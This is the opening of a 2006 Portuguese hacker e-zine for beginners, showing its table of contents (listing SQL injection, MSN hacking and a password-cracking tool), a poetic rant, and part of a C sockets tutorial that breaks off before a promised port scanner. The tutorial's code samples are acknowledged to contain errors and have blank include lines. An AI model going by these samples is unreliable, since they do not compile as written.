dP         dP
                                               88         88
                         88d8b.d8b. .d8888b. d8888P .d888b88
                         88'`88'`88 88'  `88   88   88'  `88
                         88  88  88 88.  .88   88   88.  .88
                         dP  dP  dP `88888P'   dP   `88888P8

                                          oo       dP
                                                   88
                        .d8888b. dP    dP dP .d888b88 .d8888b.
                        88'  `88 88    88 88 88'  `88 88ooood8
                        88.  .88 88.  .88 88 88.  .88 88.  ...
                        `8888P88 `88888P' dP `88888P8 `88888P'
                             .88                    Número 04
                         d8888P






E-zine lançada oficialmente dia 18 de Abril de 2006.

http://www.motdlabs.org
contato[arroba]motdlabs.org
irc.freenode.org   	/join #motd



ATENÇÃO: O  MotdLabs adverte  que não  será responsável  por qualquer tolice que
você venha a fazer.  Estou certo de que  estará consciente que ao  tentar por em
prática quaisquer técnicas descritas no decorrer desta zine, você poderá se  dar
mal. Ela foi criada apenas para propósitos educacionais e cabe a você decidir  o
que  fará com esse poder em suas mãos. Só não venha reclamar que se deu mal  por
ter feito  algo  que aprendeu aqui.  Obrigado pela a atenção e boa leitura! :)





=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice de Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


[ 01 ] Introdução					(by hallz)
[ 02 ] Aeria Gloris - Camada 01				(by Toy)
[ 03 ] Tutorial Sockets/Winsock - Parte I		(by Gustavo Moreira)
[ 04 ] LKM Code Injection				(by tDs)
[ 05 ] MSN Hacking					(by Leandro A. Thomas)
[ 06 ] Linux além do printf I - Processos e Threads	(by Vo)
[ 07 ] Algoritmo de escalonamento: Kernel 2.4 X 2.6	(by Felipe Goldstein)
[ 08 ] Básico sobre Modelo OSI				(by d4rwin)
[ 09 ] Daemon Fingerprint				(by Inferninho)
[ 10 ] RNA: Uma Breve Introdução			(by tDs)
[ 11 ] Entrevista com o dum_dum				(by vários)


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Índice de Mini-Artigos ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


[ 12 ] Diferenças entre a sintaxe AT&T e a Intel	(by Narcotic)
[ 13 ] Introdução a SQL Injection			(by Inseto Verde)
[ 14 ] Implementando um Sniffer em Java			(by tDs)
[ 15 ] Desenvolvimento de Bibliotecas			(by nEuRoMaNcEr)


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Ferramentas ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


[GoogleCracker].....Usa o Google para quebrar senhas triviais	(by Narcotic)
[detectVM]..........Detecta o VMWare				(by hallz)
[herrschaft]........Coleta informações sobre a máquina		(by Inferninho)


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[01]-=[Introdução]=-|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	

	Olá, pessoal


	Acho que muita gente já tinha dado a zine como morta,  mas estamos aqui
de novo, 18 meses depois, para apresentar a edição número 04 da zine.

	Nesta edição temos uma novidade:  os mini-artigos,  que são artigos que
podem ser lidos num intervalo  relativamente pequeno de tempo.  Seria algo como
as "lightning talks" (palestras relâmpago), comuns em conferências da galera do
Python. Experimente lê-los no banheiro, na sala de espera do dentista ou duran-
te os intervalos na TV.

	O conteúdo da zine continua voltado para os iniciantes (newbies), e es-
peramos que toda a informação  contida aqui possa auxiliar os primeiros  passos
dos interessados nessa jornada rumo ao hacking.

	No mais,  gostaríamos de  agradecer a todos que contribuíram de  alguma
forma para esta edição. Então aí vai a nossa pequena contribuição, da comunida-
de para a comunidade. Boa leitura e até a próxima!


	Abraços,

	hallz


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ Colaboradores ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


d4rwin...............................................d4rwin[arroba]motdlabs.org

dum_dum.....................................dum_dum[arroba]frontthescene.com.br

Felipe Portavales................felipe.goldstein[arroba]students.ic.unicamp.br

Gustavo Moreira......................................gustavo[arroba]milenar.net

hallz.................................................hallz[arroba]motdlabs.org

Inferninho.......................................inferninh0[arroba]yahoo.com.br

Inseto Verde..........................................if.undef[arroba]gmail.com

Leandro A. Thomas....................................leandroat[arroba]gmail.com

Narcotic...........................................narcotic[arroba]motdlabs.org

nEuRoMaNcEr.....................................marciomanbr[arroba]yahoo.com.br

SKOFF.................................................skoff[arroba]motdlabs.org

SkyNet45...........................................skynet45[arroba]motdlabs.org

tDs.....................................................tds[arroba]motdlabs.org

Toy...................................................toymak3r[arroba]gmail.com

Vo.......................................................vo[arroba]motdlabs.org


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ _EOF_ ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[02]-=[Aeria Gloris - Camada 01]-=|Toy|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


	Desculpem-me dizer, mas foi tudo mentira.

	Quanto te disse que havia liberdade, enquanto os quatros cantos houve
	o cântico lírico das mais belas prosas políticas. 
	Era somente isso, política.

	A Chuva está ai para limpar toda a imundice cretina, todo esses falsos
	lampejos de atos humildes eram criações destas estrelas caídas.

	E nós? Vivemos.

	E como usar o xine em um firewall, sem codecs?

	Todas as grandes filosofias morreram? Grunge, Satanismo, hum... absinto?

	Respostas..Respostas...E continuamos Livres.

	Trocamos uma ditadura descarada por uma que cheira a flores podres:
	- Instale isso, Instale aquilo!

	P!@#$, xmms para The Cure!!

	Você é um alienado..! Não vivo por suas regras não respeito suas regras,
	sua sociedade não me importa. Pegue a bela constituição e...

	Sentemos aqui no chão, vamos discutir como melhor compilar o apache...
	Sim, você tem medo?

	Realizado por, Organizado por...Professor, quem nos ordenhará hoje?

	Espero que essa revolução não seja televisionada...

	O Quanto você ganha com isso?

	SOFTWARE LIVRE!!! /JOIN OPEN SOURCE/CODE.

	Nada parece fazer sentido...

 

	CAMADA 01 - HIPOCRISIA.

	Vamos começar pelo o quanto que tu tens direito de acesso: 56 Kbp/s,
	128 Kbp/s? É o suficiente?  Vamos!  Pague-me mais talvez eu funcione
	da maneira correta. Porém, não posso compartilhar a conexão que tenho,
	que eu pago!

 
	Sabe, não adianta muito dar sangue por quem não se importa!  E quem 
	disse que alguém era para se importar?

	Sabe, a ficha daquele necromante está toda marcada de manchas de café;
	que tal Forgotten Realms na sexta pela madrugada; ando tão ocupado com
	colegas que esqueci daqueles que cresceram comigo no meu bairro e que 
	escolheram por Direito.

	Deixe-me explicar mais uma vez:

	-  xine Serial_Experiment_Lain.avi
	- Eu não vivo por suas regras.
	- Eu não acredito no seu Deus.
	- Eu não respeito suas leis.

	Vou esquentar o café ali, enquanto você me fala das promessas de uma 
	sociedade mais democrática! mais justa!

	Perfeito, o mundo agora é uma tela negra:
	# chmod +777 informação

	Um ssh e estou no server de alguém do Japão, perae..
	$ talk root

	Trocando umas palavras sobre Silent Hill..o lugar que eu vou quando
	morrer... opa, não?  Deus não disse isso?  De acordo com o apostolo 
	William Gibson, Jackson, Clarice Linspector aheaehhaeahe... Postura 
	e Atitude, certo? Não esqueça da Atitude, criança-estrela. Levantemos
	todos o dedo mediano da mão esqueda (a direita é provável que esteja 
	segurando o mouse!!) em direção a esse email! Estamos começando...

	Hum...desligar o monitor...venta tão gostoso la fora, onde está aquele
	cd do Moonspell...

	E o sol? Ainda não apareceu.

 Toy.


_EOF_

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[03]-=[Tutorial Sockets/Winsock - Parte I]=-|Gustavo Moreira|=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
mi!enar.net                                                    [www.milenar.net]




  "Temos mantido em segredo a nossa morte para tornar nossa vida possível"

--

+-----------------------------------+
|Tutorial Sockets/Winsock - Parte I |
+-----------------------------------+
|0.  Introdução.....................|
|1.  Definição de sockets...........|
|2.  Protocolos.....................|
|   2.1. Aplicação..................|
|   2.2. Transporte.................|
|   2.3. Roteamento.................|
|   2.4. Físico.....................|
|   2.5. Simulação..................|
|3.  Visão geral....................|
|4.  Headers........................|
|5.  Estruturas.....................|
|6.  Abrindo um socket..............|
|7.  Conectando.....................|
|8.  Funções úteis..................|
|9.  Fechando e encerrando..........|
|10. Scanner de portas..............|
+-----------------------------------+


                                                                      [Página 0]

Essa é a segunda edição do meu tutorial de sockets/ winsock.

O  intuito desse  texto é introduzir o programador nos fascinantes system  calls
(Linux) e API(Windows) dos sockets. Não pretendemos partir para coisas mais com-
plexas, como a programação de sockets brutos (raw sockets).

Ao concluir a leitura deste texto você estará apto a criar ferramentas  clientes
que se comunicam com serviços e servidores que recebem conexões.

Pré-requisitos  para a  leitura desse texto:  um  conhecimento, mesmo que básico
sobre a linguagem C; além disso, algum  conhecimento na pilha TCP/IP é importan-
te; conceito sobre o modelo OSI.



--=[ 1. Definição de sockets

O Socket fornece uma interface de comunicação para que dois ou mais computadores
possam trocar informações.

  ENDEREÇO_IP + PORTA_COMUNICAÇÃO = SOCKET

O Winsock, por sua vez, é uma versão do socket portada para ambiente  windows  e
desenvolvida pela Microsoft.



--=[ 2. Protocolos

Como você deve  saber,  o TCP/IP não é um protocolo,  e sim uma pilha deles.  Os
mais importantes são, obviamente, o TCP e o IP, que deram nome à arquitetura.

Na arquitetura TCP/IP, assim como no modelo OSI, existe uma hierarquia;essa hie-
rarquia define que protocolos da camada inferior prestem serviços à camada supe-
rior. Porém, ao invés de termos sete camadas como no modelo OSI, no TCP/IP temos
apenas quatro. Vamos a elas:

  APLICAÇÃO
  TRANSPORTE
  REDE, Inter-rede ou Internet (mas gosto de chamar de roteamento)
  FÍSICO, ou acesso à rede.

É importante destacar que as  camadas citadas  acima podem ser representadas  de
forma diferente, dependendo do autor.Existe, por exemplo, bons autores que afir-
mam que o modelo TCP/IP tem cinco camadas. Fiquem atentos. Mas para nosso  tuto-
rial assumiremos quatro camadas. Contudo, mais do que decorar quantas camadas ou
quais  os seus nomes, aprenda conceitualmente qual a importância de cada uma de-
las e suas funções.


--=--=[ 2.1. Aplicação

Essa é a camada mais acessível ao ser humano. De certa forma, nós podemos  mani-
pular facilmente os protocolos deste nível. Aqui encontramos serviços  prestados
ao usuário final: FTP, HTTP, SMTP, POP3, telnet, etc.  Os protocolos das camadas
inferiores prestam serviços às camadas superiores para que o usuário final possa
realizar suas tarefas. Esta é a última camada: o serviço.


--=--=[ 2.2. Transporte

Essa camada é responsável pelo transporte dos dados. Nela temos os protocolos TCP
e UDP. É aqui que teremos o controle de erros, endereçamento de portas para  di-
ferenciar no destino qual processo deve receber os dados,seqüenciamento de paco-
tes para que esses sejam remontados com sucesso no destinatário,controle de flu-
xo, dentre outros.  Lembrando que, por padrão, o protocolo UDP não faz  checagem
de erro, embora seja possível implementar isto.


--=--=[ 2.3. Roteamento

Aqui, além de encontrarmos o pop-star IP,  também  encontraremos o protocolo  de
controle ICMP que, apesar de usar os serviços do IP, é considerado um  protocolo
de mesmo nível.

É nessa camada que os  pacotes receberão o endereçamento IP, possibilitando  que
os roteadores possam manipular esses pacotes e redirecioná-los adequadamente.Te-
remos o campo tempo de vida, que serve para que os pacotes não trafeguem eterna-
mente pela rede, dentre outras. Em suma, aqui teremos o roteamento (palavra  fa-
mosa) dos pacotes através de endereçamento lógico (IP).


--=--=[ 2.4. Físico

Aqui encontraremos a arquitetura da rede.  Dentre as muitas  encontraremos,  por
exemplo, o PPP, a Ethernet, Token Ring, FDDI entre tantas outras.

Notem que aqui uma quinta camada faria sentido.A quarta seria o enlace e a quin-
ta a física.  Na camada de enlace teríamos os protocolos de enlace tratando  dos
endereçamentos físicos (Ethernet, PPP, como no exemplo acima) e na quinta  cada-
ma, físico, teremos apenas os bits, isto é,sinais elétricos puros e conexões me-
cânicas, como conectores RJ11, RJ45 e as linhas (cabeamento ou ondas de rádio).

Contudo, como não manipularemos protocolos de nível tão baixo, preferi manter as
quatro camadas apenas. Além do mais geraria polêmica com outros autores.


--=--=[ 2.5. Simulação

Simularemos agora o envio de um e-mail para tornar toda essa teoria algo  corri-
queiro.

Você redige um e-mail e clica em enviar. A maioria dos usuário acha que a situa-
ção está resolvida aqui, mas é justamente nesse ponto que nossa brincadeira fica
excitante.

No nível de aplicação, ainda, o seu cliente de e-mail cria o cabeçalho do mesmo.
Esse cabeçalho segue especificação do protocolo SMTP. Agora entra em cena o TCP,
que fará um cálculo denominado checksum, que é um controle de  erros para os da-
dos. Também nessa camada o TCP insere a porta destino, 25, padrão para os servi-
dores SMTP. Agora surge o roteamento. Surge o IP, que vai inserir IP de origem e
IP destino (lembra-se quando você configurou o servidor SMTP?), o campo tempo de
vida cujo valor varia de sistema operacional para sistema operacional. Além dis-
so,na camada do IP existe um campo que armazena qual protocolo está sendo trans-
portado; nesse caso é o TCP.  Agora todo esse pacote de protocolos é encaminhado
para a interface de rede. No caso de um e-mail  pode ser o PPP.  Quando o quadro
chegar ao servidor, o modem deste "desembrulha" o pacote da "casca" PPP e  envia
o conteúdo para o kernel do sistema, que analisará o restante.

Todo esse processo é denominado encapsulamento. Note que o protocolo SMTP, apli-
cação, foi inserido dentro do TCP. O TCP, transporte, foi inserido dentro do IP.
O IP, roteamento, foi inserido dentro do PPP, físico (ou enlace, com cinco cama-
das).


       +------+ +-----+ +-----+       +-----+
       |Telnet| | FTP | | DNS |  ...  |     |  Aplicação
       +------+ +-----+ +-----+       +-----+
             |   |         |             |
            +-----+     +-----+       +-----+
            | TCP |     | UDP |  ...  |     |  Transporte
            +-----+     +-----+       +-----+
               |           |             |
            +-------------------------------+
            |           IP & ICMP           |  Roteamento
            +-------------------------------+
                           |
              +---------------------------+
              |   PPP, Ethernet, etc      |    Físico
              +---------------------------+

Obs.: desenho retirado da RFC do protocolo TCP.

Imagine  quatro caixas de papelão, cada uma delas ligeiramente  menor que as ou-
tras. Na menor das caixas coloque um presente para alguém. Feche esta caixa e na
capa escreva: "Presente para alguém especial". Coloque esta caixa com o presente
dentro da segunda menor caixa. Escreva na capa algo como peso e tamanho. Coloque
esta caixa dentro da terceira menor caixa. Também proceda como anteriormente,es-
crevendo informações na capa da caixa para controle.

Faça isso até que todas as caixas estejam uma dentro da outra.  Na capa de  cada
caixa existe uma informação.  Pois bem, o presente representa o dado que se quer
transmitir; cada uma das caixas é um protocolo de seu respectivo nível; cada in-
formação na capa das caixas são os cabeçalhos de cada um dos protocolos.

É exatamente assim que funciona. Cada protocolo é encapsulado dentro de outro  e
são inseridos cabeçalhos, com informações de controle.

Esse tipo de  padronização,  como o modelo OSI,  é feito para facilitar o enten-
dimento dos protocolos  e minimizar o tempo  levado para  detecção e correção de
erros. Saber tudo isto não é apenas útil, é imprescindível. Supondo que você te-
nha entendido a hierarquia dos protocolos e que cada um tem uma função específi-
ca, sempre fornecendo serviços aos protocolos que se seguem, partiremos aos  so-
ckets.

Eu insisto muito nesse conceito de camadas,  por isso  quero que entendam  muito
bem.

   Remetente            Roteador                     Destinatário

  +----------+                                       +----------+
  | Aplicação|                                       | Aplicação|
  +----------+                                       +----------+
       |                                                  ^
       V                                                  |
  +----------+                                       +----------+
  |Transporte|                                       |Transporte|
  +----------+                                       +----------+
       |                                                  ^
       V                                                  |
  +----------+         +----------+                  +----------+
  |Roteamento|         |Roteamento| ------> +        |Roteamento|
  +----------+         +----------+         |        +----------+
       |                    ^               |             ^
       V                    |               |             |
  +----------+         +----------+         |        +----------+ 
  |  Físico  | ------> |  Físico  |         +------> |  Físico  |
  +----------+         +----------+                  +----------+



--=[ 3. Visão geral

Como  dito no início do tutorial, usaremos como  base a linguagem C.  Seguiremos
mostrando as funções mais usadas nos sockets:

accept
socket
bind
*closesocket
connect
getpeername
getsockname
getsockopt
htonl
htons
inet_addr
inet_ntoa
ioctlsocket
listen
ntohl
ntohs
recv
recvfrom
select
send
sendto
setsockopt
shutdown
gethostname
gethostbyaddr
gethostbyname
getprotobyname
getprotobynumber
getservbyname
getservbyport

Você poderá usar todas elas tanto em UNIX quanto em Windows.Na API Winsock exis-
tem diversas funções que não serão tratadas nesse texto.  Pense que,  se você a-
prender a sintaxe e dominar o funcionamento das mais  importantes funções  cita-
das, você já poderá criar algumas ferramentas interessantes.

  * Apenas algumas diferenças. A função closesocket() é utilizada apenas no win-
    dows. Essa função pára imediatamente o recebimento  ou o envio de dados pelo
    socket especificado e o fecha. Num unix-like basta utilizar o close().



--=[ 4. Headers

Obviamente temos que acrescentar os headers:

  #include 
  #include  // em UNIX

  #include    // para windows

Algumas ressalvas. A versão 2 do winsock só está disponível do Win 98 para cima.
Versões abaixo necessitarão de uma atualização para  o correto funcionamento  do
seu código. Se você quiser utilize apenas a versão 1, pois para nossos exemplos,
basta.

Agora vamos declarar o socket:

  int meu_socket // para UNIX
  SOCKET meu_socket // Para Windows

Essa é outra diferença.Em sistemas unix nós declararíamos um socket como do tipo
INT (inteiro), mas no Windows declaramos como um SOCKET socket. Se você der  uma
fuçada no winsock.h, encontrará coisa do tipo:

  typedef unsigned int u_int;

em seguida encontrarão isto:

  typedef u_int SOCKET;

Eles só inverteram o nome do tipo de dado. Em outras palavras, tanto em unix-li-
ke quanto no Windows um socket é do tipo inteiro (int). Inclusive,  se você qui-
ser, poderá utilizar o tipo INT também no Windows.



--=[ 5. Estruturas

Vou iniciar mostrando uma estrutura que você utilizará em praticamente todas  as
implementações com sockets. Nela, você escolherá o destino de seus pacotes, por-
ta e a arquitetura. A estrutura utilizada para isto é a sockaddr_in e  tem o se-
guinte formato:

  struct sockaddr_in {
     short int sin_family;        // tipo de arquitetura a ser utilizada
     unsigned short int sin_port; // a porta, claro
     struct in_addr sin_addr;     // endereço no formato IP
     unsigned char sin_zero[8];   // zera o restante da estrutura
     };

  AF_INET (ARPA protocolos inernet).

A AF_INET é a mais usada. Quando tratamos  de AF_INET e/ou ARPA, estamos nos re-
ferindo à arquitetura  TCP/IP.  Existem mais arquiteturas  disponíveis,  leia  o
winsock.h ou o sockets.h, mas é quase certo que você  jamais precise das outras.
Vamos tomar um exemplo:

----------------------------------exemplo.c-------------------------------------

  #include 

  main() {
  SOCKET meu_socket; /* declarando o socket */

  struct sockaddr_in host_destino; 
  /* declarando estrutura, onde  
     teremos arquitetura, IP e porta */

  host_destino.sin_family=AF_INET;
  host_destino.sin_port=80;
  /* Porta destino e arquitetura. Aqui vai dar erro, mas paciência, 
     já vou falar sobre isso.*/

  host_destino.sin_addr.s_addr=200.100.100.100;
  /* Endereço destino, aqui também vai dar erro, 
     mas agüenta firme!! */

  for(cont=0;cont<=8;cont++) {
     vitima.sin_zero[cont]=0;
     }

----------------------------------exemplo.c-------------------------------------

Nesse último parâmetro zeramos todo o restante da estrutura. Falaremos sobre is-
so mais abaixo, achei que ficaria mais fácil entender. Eu usei um for,  mas você
verá códigos que usam a função memset() e a grande maioria usa a função bzero().
Isso é questão de gosto. Eu usei o for porque torna o código mais didático.

Agora já temos nosso "alvo".



--=[ 6. Abrindo um socket

Esta  função será a responsável  por criar o socket e deixá-lo pronto  para efe-
tuar ou receber uma conexão. Sua sintaxe é a seguinte:

  socket(int ARQUITETURA,int TIPO_PROTOCOLO,int PROTOCOLO)

Quanto à arquitetura já sabemos qual utilizar, será o AF_INET. No tipo de proto-
colo nós temos cinco, mas nos contentaremos com apenas dois, os mais  utilizados
comumente: SOCK_DGRAM e SOCK_STREAM.  Para simplificar ao máximo,  o sock_stream
utiliza o protocolo TCP, ou seja, ele tenta criar uma conexão com o destino pra-
ticando o handshake. Dizemos, então, que  o sock stream é orientado a conexão. O
sock_dgram  utiliza o  protocolo UDP.  Como você deve ter aprendido no seu curso
de redes  ou em alguma  apostila,  o protocolo UDP não faz controle de erros.Ele
também não executa o handshake.  Quando você cria um socket  desse tipo,  você o
deixa pronto para o envio/recebimento de dados, mas jamais será estabelecida uma
conexão de dados entre remetente e destinatário. Em outras palavras,o dado é jo-
gado na rede e sabe-se lá quando e como vai chegar. Exatamente por isso o proto-
colo UDP é mais veloz que o TCP, utilizado principalmente para  aplicações  como
vídeo-conferência e jogos. Imagine um sistema de vídeo-conferência que faça con-
trole de erros e pede retransmissão a cada pacote incorreto!  Vamos tomar outro
exemplo:

----------------------------------exemplo.c-------------------------------------

  #include  // não se esqueça q unix é diferente

  main() {
  SOCKET meu_socket; // não se esqueça q no unix é do tipo INT.

  struct sockaddr_in host_destino;

  meu_socket=socket(2,1,0); 
  /*  criando um socket.  Todos os parâmetros 
      são do tipo INT.  */

----------------------------------exemplo.c-------------------------------------

Como  citado  anteriormente,  o último  parâmetro se refere ao  protocolo.  Você
pode tanto optar por usar assim:

  socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

como usar suas respectivas numerações.  Há uma relação  mais abaixo  sobre isso.
Assim como o IPPROTO_IP, eu  poderia colocar outros, mas para nosso tutorial  u-
saremos apenas esse.O socket está criado.Definimos a arquitetura (2 ou AF_INET),
o protocolo de transporte (1 ou SOCK_STREAM) e o protocolo que vai roteá-lo,  no
caso, o 0 ou IPPROTO_IP. A função retorna -1 em caso de erro. Vamos às relações,
conforme prometi:

Tipos de protocolos:

#define SOCK_STREAM_____ 1 // com protocolo TCP
#define SOCK_DGRAM______ 2 // com protocolo UDP
#define SOCK_RAW________ 3 /* ao terminar esse texto, estudar
                              bastante e, por fim, dominar os sockets,
                              deve ser seu proximo passo: raw sockets.
                           */
#define SOCK_RDM________ 4
#define SOCK_SEQPACKET__ 5

Arquiteturas:

#define AF_UNSPEC_____ 0
#define AF_UNIX_______ 1
#define AF_INET_______ 2 // olha a nossa aqui!
#define AF_IMPLINK____ 3
#define AF_PUP________ 4
#define AF_CHAOS______ 5
#define AF_IPX________ 6
#define AF_NS_________ 6
#define AF_ISO________ 7
#define AF_OSI___ AF_ISO
#define AF_ECMA_______ 8
#define AF_DATAKIT____ 9
#define AF_CCITT______ 10
#define AF_SNA________ 11
#define AF_DECnet_____ 12
#define AF_DLI________ 13
#define AF_LAT________ 14
#define AF_HYLINK_____ 15
#define AF_APPLETALK__ 16
#define AF_NETBIOS____ 17
#define AF_VOICEVIEW__ 18

Protocolos:

#define IPPROTO_IP____ 0 // Veja aqui!
#define IPPROTO_ICMP__ 1
#define IPPROTO_GGP___ 2
#define IPPROTO_TCP___ 6
#define IPPROTO_PUP___ 12
#define IPPROTO_UDP___ 17
#define IPPROTO_IDP___ 22
#define IPPROTO_ND____ 77
#define IPPROTO_RAW___ 255
#define IPPROTO_MAX___ 256



--=[ 7. Conectando

Agora que o socket está criado,  poderemos nos conectar.  A função para isto é a
connect(). Aqui vai seu formato:

  connect(SOCKET,const struct sockaddr*,int);

ou

  connect(socket,estrutura_com_enderco_e_porta,tamanho_da_estrutura);

Aqui é um exemplo prático.

  connect(s1,(struct sockaddr *)&host_destino,sizeof(host_destino));

A princípio pode parecer meio confuso, mas tente ver além desse monte de  letri-
nhas. É o socket, (vírgula) a estrutura com informações do destinatário  (vírgu-
la) e o tamanho dessa estrutura, nada mais...

A função connect retorna 0 em caso de sucesso e -1 em caso de erro.

Como os mais atentos devem ter notado nos exemplos que incluí,  declarei uma es-
trutura do tipo sockaddr_in, mas na hora da conexão, chamei a sockaddr, por quê?
Veja isto:

  struct sockaddr {
     u_short sa_family;
     char sa_data[14];
     };

Na opção sa_family, colocaríamos os AFs (AF_XXX), no nosso caso o  AF_INET  e no
sa_data, colocaríamos o endereço do destinatário e a sua porta. Mas isso é  "es-
quisitérrimo".  Logo os programadores sentiram necessidade de criar  essa estru-
tura  manualmente.  Inventaram a estrutura  sockaddr_in, onde  o 'in'  significa
"internet". Então, quando zeramos aquela estrutura com for, memset() ou bzero(),
estamos acomodando aquela estrutura nessa, o sockaddr. É por isso que ao usarmos
a função connect chamamos a estrutura  sockaddr,pois é essa que tem "intimidade"
com o socket.



--=[ 8. Funções

Após  este capítulo  estaremos aptos a fazer muitas coisas interessantes, já vou
passar o código de um scanner de portas simples. Na verdade, acho que todo mundo
que começa com sockets faz um, siga a tradição!!

  struct hostent *gethostbyname(const char *name);

A função gethostbyname() converte um nome de host para um endereço IP.  Como pu-
deram ver, é retornado um ponteiro para uma estrutura, vamos a ela:

  struct  hostent {
      char *h_name;       // Nome do host
      char **h_aliases;   // Lista dos "aliases"
      short h_addrtype;   // Tipo de endereço do host 
      short h_length;     // Tamanho do endereço 
      char **h_addr_list; // Lista de endereços do servidor de nomes
  #define h_addr h_addr_list[0]
      }

Em sistemas UNIX, para utilizar essa função adicione isto: 

  #include 

Vamos a um exemplo prático, vai. O programinha abaixo  resolve o endereço IP da-
do um nome de host.

-----------------------------exemplos.c----------------------------------
<++> sockets/resolver.c
  #include 

  int main(int argc, char *argv[])
    {

    struct hostent *host;

    host=gethostbyname(argv[1]);
    if(host==NULL) { 
       printf("Host desconhecido!"); 
    // note q gethostbyname retorna NULL em caso de falha.
       exit(1);
       }

    printf ("Nome do Host: %s\n",host->h_name);
    printf ("Endereço IP: %s\n",
             inet_ntoa(*((struct in_addr *)host->h_addr)));

    return 0;

    }
<--> sockets/resolver.c
-----------------------------exemplos.c----------------------------------

Apenas um programinha de utilidade duvidosa, mas é um bom exemplo.  Vamos expli-
car o que é inet_ntoa() e a estrutura in_addr. Apesar de conhecermos o  endereço
IP como x.x.x.x,esse é apenas um  formato que torna fácil seu reconhecimento por
parte dos humanos. Então, existem duas, na verdade três funções que convertem  o
formato real  do IP em formato ASCII (q podemos ler) e o formato ASCII  (que nós
definimos) para o formato IP, pois é esse formato que os sockets precisam.

inet_ntoa()  (ntoa significa network to ascii) - essa função converte  o formato
IP das máquinas para ASCII, para que nós, seres humanos, consigamos ler.
Formato: char *inet_ntoa(struct in_addr inaddr);
Note que essa função precisa da estrutura in_addr, por isso a convertemos.

Bom, temos duas outras funções. Essas duas servem para converter nosso ASCII pa-
ra o IP das máquinas.

inet_addr() - essa é a mais comum de todas, você verá sempre.
Formato: unsigned long inet_addr(const char *ptr);
Só um exemplo: inet_addr("127.0.0.1"); // simples, não?

Ainda  existe o inet_aton() (aton significa ascii to network). Viram? As funções
se auto-explicam. Essa função não é  muito utilizada, pois, por algum motivo que
sinceramente desconheço, todos preferem o inet_addr.

UNIX, para usar  as funções inet_aton(), inet_addr() e inet_ntoa, acrescente:

  #include 
  #include 
  #include 
  #include 

Isso, todos. Nesse ponto, programar no Windows é mais fácil.  Adicionando o win-
sock.h temos tudo que precisamos.

Network Byte Order é o modo como nosso hardware guarda os dados.  Nesse sistema,
também conhecido como NBO, os bytes menos significativos são guardados primeiro.
Não é diferente do caso anterior, do IP. Nós lemos o dado de uma forma, o compu-
tador de outra. Para enviar os dados pela rede, temos que respeitar  os sistemas
utilizados, nesse caso o NBO. Então, para garantir que nossos  programas respei-
tem  esse sistema, existem algumas funções.

  u_long htonl(u_long hostlong)    - Host TO Network Long
  u_short htons(u_short hostshort) - Host TO Network Short
  u_long ntohl(u_long netlong)     - Net TO Host Long
  u_short ntohs(u_short netshort)  - Net TO Host Short 

Notem as letras maiúsculas, são os nomes das funções.

Pensem sempre em  como as funções são  formadas:  htons (host to network short).
Ela está dizendo o que faz: converte um dado de um host (seu computador)  para a
rede (q pode ser a internet). Sempre pense assim e não terá nenhuma dificuldade.

Sem dúvida, a função que você mais verá é a htons().

Desenvolvedor em ambiente UNIX, quando quiser usar uma dessas funções,  adicione
o header:

  #include 

ou

  #include 

getservbyport() - Essa função retorna informações sobre determinada porta 
de um host.

Formato: struct servent* getservbyport(int,const char*);

UNIX, para usar essa função: #include 

